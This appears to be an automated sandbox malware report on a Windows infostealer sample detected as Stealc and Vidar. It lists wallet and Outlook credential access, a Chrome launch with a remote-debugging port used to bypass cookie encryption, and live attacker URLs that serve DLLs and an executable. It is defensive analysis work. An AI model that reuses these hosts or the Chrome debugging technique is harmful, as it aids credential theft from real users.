Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 6008, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 0000001B.00000002.2917558325.0000000000981000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2877272364.0000000005330000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2918547497.00000000016AB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2411681140.000000000194E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3002668049.000000000138B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2998798875.0000000000981000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.2958211114.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2794178942.0000000000981000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2795084651.00000000012FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2410670260.0000000000C61000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2753904941.0000000004FB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2029990160.0000000005450000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6008, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: f0388bf2aa.exe PID: 7752, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: f0388bf2aa.exe PID: 8476, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: f0388bf2aa.exe PID: 7608, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6008, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C840C40 sqlite3_bind_zeroblob,	0_2_6C840C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C840D60 sqlite3_bind_parameter_name,	0_2_6C840D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C768EA0 sqlite3_clear_bindings,	0_2_6C768EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C840B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6C840B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C766410 bind,WSAGetLastError,	0_2_6C766410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C766070 PR_Listen,	0_2_6C766070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6C76C050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76C030 sqlite3_bind_parameter_count,	0_2_6C76C030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7660B0 listen,WSAGetLastError,	0_2_6C7660B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F22D0 sqlite3_bind_blob,	0_2_6C6F22D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7663C0 PR_Bind,	0_2_6C7663C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	41 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	111 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	3 Obfuscated Files or Information	Security Account Manager	236 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	12 Process Injection	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	111 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	261 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	121 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	261 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	42%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://185.215.113.206;	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpncoded?	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpT	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/msvcp140.dlla	100%	Avira URL Cloud	malware
https://edgeassetservice.azure	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpe	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpk	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpu	100%	Avira URL Cloud	malware
https://edgeassetservice.azure	0%	Virustotal		Browse
http://185.215.113.43/Zu7JuNko/index.phpT	12%	Virustotal		Browse
http://185.215.113.43/Zu7JuNko/index.phpncoded?	18%	Virustotal		Browse
http://185.215.113.206/c4becf79229cb002.phpy	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/msvcp140.dlla	18%	Virustotal		Browse
http://185.215.113.206/J?	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php-	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exe61395d	100%	Avira URL Cloud	phishing
http://185.215.113.43/Zu7JuNko/index.phpnI	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpdedF	100%	Avira URL Cloud	malware
http://185.215.113.206/SSC:	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php2001	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpsoft	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
plus.l.google.com	172.217.18.14	true	false	high
play.google.com	172.217.18.14	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.244.18.38	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.185.100	true	false	high
googlehosted.l.googleusercontent.com	142.250.184.225	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731381392836&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://bzib.nelreports.net/api/report?cat=bingbusiness	false	high
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731381393830&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.16/steam/random.exe	false	high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	IJKJJKFH.0.dr, DBKKFCBA.0.dr	false		high
https://edgeassetservice.azure	000003.ldb.8.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	IJKJJKFH.0.dr, DBKKFCBA.0.dr	false		high
https://ntp.msn.com/0	000003.log0.8.dr	false		high
https://ntp.msn.com/_default	QuotaManager.8.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2411681140.0000000001A1E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2432797042.0000000023CE1000.00000004.00000020.00020000.00000000.sdmp, CBKFIECBGDHJKECAKFBG.0.dr	false		high
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.8.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.8.dr	false		high
http://185.215.113.206/ws	f0388bf2aa.exe, 00000018.00000002.2795084651.000000000135E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpnu	skotes.exe, 00000017.00000002.4488286299.0000000000E19000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aefd.nelreports.net/api/report?cat=bingcsp	Reporting and NEL.9.dr	false		high
https://deff.nelreports.net/api/report	Reporting and NEL.9.dr	false		high
https://docs.google.com/	manifest.json0.8.dr	false		high
https://www.youtube.com	5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	false		high
https://deff.nelreports.net/api/report?cat=msnw	Reporting and NEL.9.dr	false		high
https://mail.google.com	000003.ldb.8.dr	false		high
https://www.instagram.com	5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	false		high
http://185.215.113.206;	f0388bf2aa.exe, 0000001D.00000002.3002668049.000000000138B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	false		high
https://i.y.qq.com/n2/m/index.html	5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	false		high
https://www.deezer.com/	5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	false		high
https://web.telegram.org/	5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.8.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	IJKJJKFH.0.dr, DBKKFCBA.0.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.2411681140.00000000019C2000.00000004.00000020.00020000.00000000.sdmp, IJKJJKFH.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.8.dr	false		high
https://excel.new?from=EdgeM365Shoreline	5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.8.dr	false		high
https://plus.google.com	chromecache_485.4.dr	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dlla	file.exe, 00000000.00000002.2411681140.00000000019A6000.00000004.00000020.00020000.00000000.sdmp	false	18%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	file.exe, 00000000.00000003.2353167790.0000000023F4C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2411681140.0000000001A1E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2432797042.0000000023CE1000.00000004.00000020.00020000.00000000.sdmp, CBKFIECBGDHJKECAKFBG.0.dr	false		high
https://chromewebstore.google.com/	manifest.json.8.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.8.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.8.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2411681140.0000000001A1E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2432797042.0000000023CE1000.00000004.00000020.00020000.00000000.sdmp, CBKFIECBGDHJKECAKFBG.0.dr	false		high
https://msn.comXIDv10	Cookies.9.dr	false		high
https://chrome.google.com/webstore/	manifest.json.8.dr	false		high
https://bard.google.com/	5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.8.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNs	000003.ldb.8.dr	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpT	skotes.exe, 00000017.00000002.4488286299.0000000000E5C000.00000004.00000020.00020000.00000000.sdmp	false	12%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://www.office.com	5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	false		high
https://outlook.live.com/mail/0/	5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpncoded?	skotes.exe, 00000017.00000002.4488286299.0000000000E5C000.00000004.00000020.00020000.00000000.sdmp	false	18%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	CBKFIECBGDHJKECAKFBG.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpe	f0388bf2aa.exe, 0000001B.00000002.2918547497.00000000016FE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ntp.msn.com/edge/ntp	2cc80dabc69f58b6_1.8.dr, 000003.log0.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpk	file.exe, 00000000.00000002.2432797042.0000000023CE1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.8.dr	false		high
https://web.skype.com/?	000003.ldb.8.dr	false		high
https://tidal.com/	5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	false		high
https://ntp.msn.com	2cc80dabc69f58b6_0.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpu	f0388bf2aa.exe, 00000018.00000002.2795084651.0000000001357000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpy	f0388bf2aa.exe, 00000018.00000002.2795084651.0000000001357000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://gaana.com/	5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	false		high
http://185.215.113.43/lfons	skotes.exe, 00000017.00000002.4488286299.0000000000E33000.00000004.00000020.00020000.00000000.sdmp	false		high
https://outlook.live.com/mail/compose?isExtension=true	5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	false		high
http://185.215.113.206/J?	f0388bf2aa.exe, 0000001B.00000002.2918547497.00000000016FE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true	5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	false		high
https://apis.google.com	chromecache_483.4.dr, chromecache_485.4.dr	false		high
http://185.215.113.43/Zu7JuNko/index.php-	skotes.exe, 00000017.00000002.4488286299.0000000000E19000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://domains.google.com/suggest/flow	chromecache_485.4.dr	false		high
http://185.215.113.16/steam/random.exe61395d	skotes.exe, 00000017.00000002.4488286299.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://latest.web.skype.com/?browsername=edge_canary_shoreline	5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	false		high
https://word.new?from=EdgeM365Shoreline	5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	IJKJJKFH.0.dr, DBKKFCBA.0.dr	false		high
https://mail.google.com/mail/mu/mp/266/#tl/Inbox	5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpnI	skotes.exe, 00000017.00000002.4488286299.0000000000E33000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive-autopush.corp.google.com/	manifest.json0.8.dr	false		high
https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge	5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	false		high
http://185.215.113.206/SSC:	f0388bf2aa.exe, 00000018.00000002.2795084651.000000000135E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://open.spotify.com	5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr, 000003.ldb.8.dr	false		high
https://twitter.com/	5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	false		high
https://m.vk.com/	5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpdedF	skotes.exe, 00000017.00000002.4488286299.0000000000E5C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	file.exe, 00000000.00000002.2411681140.0000000001A1E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2432797042.0000000023CE1000.00000004.00000020.00020000.00000000.sdmp, CBKFIECBGDHJKECAKFBG.0.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2411681140.0000000001A1E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2432797042.0000000023CE1000.00000004.00000020.00020000.00000000.sdmp, CBKFIECBGDHJKECAKFBG.0.dr	false		high
https://drive-daily-6.corp.google.com/	manifest.json0.8.dr	false		high
https://drive-daily-0.corp.google.com/	manifest.json0.8.dr	false		high
https://www.iheart.com/podcast/	5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	false		high
https://music.yandex.com	5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	false		high
http://185.215.113.43/Zu7JuNko/index.php2001	skotes.exe, 00000017.00000002.4488286299.0000000000E19000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpc	skotes.exe, 00000017.00000002.4488286299.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://clients2.googleusercontent.com	57ecc085-f51b-4d60-91db-9344d37f81ee.tmp.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpsoft	file.exe, 00000000.00000002.2411681140.00000000019C2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
23.218.232.186	unknown	United States	24835	RAYA-ASEG	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.185.100	www.google.com	United States	15169	GOOGLEUS	false
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
142.250.184.225	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
104.40.82.182	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
18.244.18.38	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
20.1.248.118	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.198.7.182	unknown	United States	20940	AKAMAI-ASN1EU	false
23.198.7.181	unknown	United States	20940	AKAMAI-ASN1EU	false
172.217.18.14	plus.l.google.com	United States	15169	GOOGLEUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
18.161.170.14	unknown	United States	3	MIT-GATEWAYSUS	false
20.189.173.16	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
23.221.22.210	unknown	United States	20940	AKAMAI-ASN1EU	false
23.47.50.115	unknown	United States	16625	AKAMAI-ASUS	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.198.7.174	unknown	United States	20940	AKAMAI-ASN1EU	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1554123
Start date and time:	2024-11-12 04:15:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	33
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@86/323@26/28
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
